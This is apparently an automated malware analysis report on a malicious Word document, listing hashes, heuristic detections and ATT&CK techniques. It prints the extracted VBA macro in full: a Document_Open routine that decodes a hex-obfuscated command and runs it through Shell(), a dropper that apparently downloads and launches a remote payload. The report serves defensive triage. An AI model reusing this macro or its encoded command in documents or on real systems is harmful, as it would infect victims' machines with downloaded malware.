Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ad55de0ba082e1d0…

MALICIOUS

Office (OOXML)

54.1 KB Created: 2020-07-13 02:15:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: a333fc51570e37262cb4d03305bfb591 SHA-1: f6e9b39410615ebc9f633f2aa803c48118a02e0b SHA-256: ad55de0ba082e1d0ba31f608e222d5dc9bae470bbc427b21801a37aab7309aa9
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This OOXML document contains a malicious VBA macro, specifically a Document_Open macro, which is designed to execute arbitrary code. The macro utilizes the Shell() function to launch a second-stage payload, indicated by the critical OLE_VBA_SHELL heuristic. The VBA code within macros.bas reconstructs a string from hexadecimal values, which is then passed to the Shell function, likely to download and execute further malicious content.

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1429 bytes
SHA-256: 3cc20a8b433aefb71b012568c6675cf9aeccfa0dba651859c8a13f36d67691cf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
Shell eFdLwxcQXGCIRBjNiTFCQpKwPoIloEOMTOdiolzNcfDLwWpzHXmxEGs("12322342132", "8F99904C5B8F4C9C9BA3919E9F949198985A91A4914C5991A4918FA1A0959B9A9C9B98958FA54C8EA59C8D9F9F4C59834C74959090919A4C598F9B99998D9A904C549A91A3599B8E96918FA04C7FA59FA091995A7A91A05A83918E6F9895919AA0555A709BA39A989B8D9072959891545394A0A09C665B5B92939F5A91989C8D909E959A9B5AA4A5A6665E5C65615B988D909B5B605A91A491535850919AA2668091999C57538890979F98985A91A491535567547A91A3597B8E96918FA04C598F9B994C7F949198985A6D9C9C98958F8DA0959B9A555A7F9491989871A4918FA1A0915450919AA2668091999C57538890979F98985A91A4915355")
End Sub
  Function eFdLwxcQXGCIRBjNiTFCQpKwPoIloEOMTOdiolzNcfDLwWpzHXmxEGs(CodeKey As String, str As String)
        Dim JPCRHKrxnMppCXAtwUsulmUANUJdQRRdMronHprXliPzGgHcbyKdggH As Integer
        Dim i As Integer
        Dim sStr
        JPCRHKrxnMppCXAtwUsulmUANUJdQRRdMronHprXliPzGgHcbyKdggH = 51
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 44)
        Next
        eFdLwxcQXGCIRBjNiTFCQpKwPoIloEOMTOdiolzNcfDLwWpzHXmxEGs = sStr
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 83a8c9770a66b221bac5c765445605e2c4dea7aa824a719a238ea1a801edb017
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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